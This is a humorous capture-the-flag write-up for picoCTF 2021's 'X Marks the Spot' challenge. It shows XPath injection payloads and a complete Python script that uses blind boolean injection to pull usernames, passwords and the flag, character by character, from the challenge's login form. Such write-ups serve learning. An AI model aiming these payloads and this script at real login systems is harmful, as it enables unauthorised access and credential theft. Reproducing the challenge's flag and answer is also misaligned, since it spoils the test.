This is a writeup for X Marks the Spot, a challenge from picoCTF 2021. The challenge itself was not educational or anything, and this post is merely a cathartic exercise. There’s some stuff I have to get off my chest.

Problem

Another login you have to bypass. Maybe you can find an injection that works? http://mercury.picoctf.net:33594/

Ah, yet another sourceless web.

It is a bit unfortunate that this challenge was chosen for writeups: the trauma it caused still lingers over me. I apologize for any typos in this writeup; the slippery, tear-stained plastic of my keyboard makes typing rather difficult.

The solution presented in the following section is a work of fiction. Though it may contain elements of the real process, it is significantly abridged for the sake of the readers. Some events in the solving of this challenge have been shortened or modified completely; more graphic ones have been removed altogether.

Solution

At http://mercury.picoctf.net:33594/, we are given a login form. From the challenge’s name, it’s not terribly difficult to guess that XPath is involved.

Putting ' in the username and password fields gives an error. This lets us know that our inputs are inserted, with no or little sanitation, into an XPath query. The classic ' or '1' = '1 returns the message You're on the right path. This tells us that XPath is used to query for our username and password in an XML file.

Someone better at web might know exactly what to do at this point; perhaps the solution becomes immediately obvious. Only a fool would think that the login form is actually a login form. Only a fool would spend hours trying to figure out the conditions under which logging in succeeds.

If he were competent, he would realize that no username/password combination actually works. He would know that the solution is to exfiltrate the flag. We proceed with this knowledge.

Anticipating some scripting ahead, we can write a function to test payloads:

import requests
import re

def test_payload(payload):
    # post our payload to the endpoint
    response = requests.post(
        'http://mercury.picoctf.net:33594/',
        data={
            'name': payload,
            'pass': ''
        }
    )

    # check if we get an error
    if response.status_code == 500:
        return False

    # otherwise, return whether it says
    # "You're on the right track"
    return re.search(
        r'Title<\/strong> --> (.+)',
        response.text
    ).group(1).startswith('Y')

Now, as I look through the directory that holds the five or six separate scripts used in solving this challenge, I genuinely cannot bear the prospect of going through them to construct a nice solution to the challenge. Fortunately, I did think of a different way to solve it just now.

This solution does not involve tediously trying payloads to determine the exact structure of the XML file. It does not require a few hours spent exfiltrating an entire poem (that for some reason is just… sitting in the XML??) character by character to no avail. It does not even require a painful search for where the usernames and passwords are.

This solution does, however, require a little bit of guessing. First, we assume that the flag is one of the passwords. We also assume that there is a node called users under which usernames and passwords are stored.

We can also assume that the query includes a computation of a boolean value that looks something like the following, where ... represents some unknown string and <> represents user-supplied input:

... = '<username>' and ... = '<password>' ...

Then, we craft a payload that lets us check one condition at a time. Specifically, with an empty password, the following username gives the message You're on the right track:

' or 'a' = 'a' or '1' = '1

This makes the relevant part of the query look like the following:

... = '' or 'a' = 'a' or '1' = '1' and ... = '' ...

Since 'a' = 'a' is true, this entire part of the query is true too. The following username gives Login failure.:

' or 'a' = 'b' or '1' = '1

Because 'a' = 'b' is false, this entire part of the query is false as well, giving us a failure. Using this, we can dump the entire users node character by character.

XPath provides the function starts-with, which takes two strings (or nodes) and returns whether the first starts with the second. Given a prefix, we can try every possible character to extract the next symbol of the user node. Since we don’t know where the node is, we can use the // wildcard.

Our payload looks like this:

' or starts-with(//users, '[prefix]') or '1' = '1

Here it is in the context of the solve script:

def find_next_prefix(prefix):
    # try every character
    for i in range(256):
        search = prefix + chr(i)
        payload = (
            f'\' or '
            f'starts-with(//users, \'{search}\')'
            f' or \'1\' = \'1'
        )
        if test_payload(payload):
            return search
    return False

Once no character works, we will have extracted the entire node. Here is our entire script:

import requests
import re

def test_payload(payload):
    # post our payload to the endpoint
    response = requests.post(
        'http://mercury.picoctf.net:33594/',
        data={
            'name': payload,
            'pass': ''
        }
    )

    # check if we get an error
    if response.status_code == 500:
        return False

    # otherwise, return whether it says
    # "You're on the right track"
    return re.search(
        r'Title<\/strong> --> (.+)',
        response.text
    ).group(1).startswith('Y')

def find_next_prefix(prefix):
    # try every character
    for i in range(256):
        search = prefix + chr(i)
        payload = (
            f'\' or '
            f'starts-with(//users, \'{search}\')'
            f' or \'1\' = \'1'
        )
        if test_payload(payload):
            return search
    return False

def solve():
    prefix = ''
    while True:
        next = find_next_prefix(prefix)
        if not next:
            return prefix
        prefix = next

print(solve())

This takes a while to run, but after a coffee and some Kleenex® for the remaining tears, we get the following output (indentations removed for clarity):

guest
thisisnottheflag

bob
thisisnottheflageither


admin
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_8d7f0533}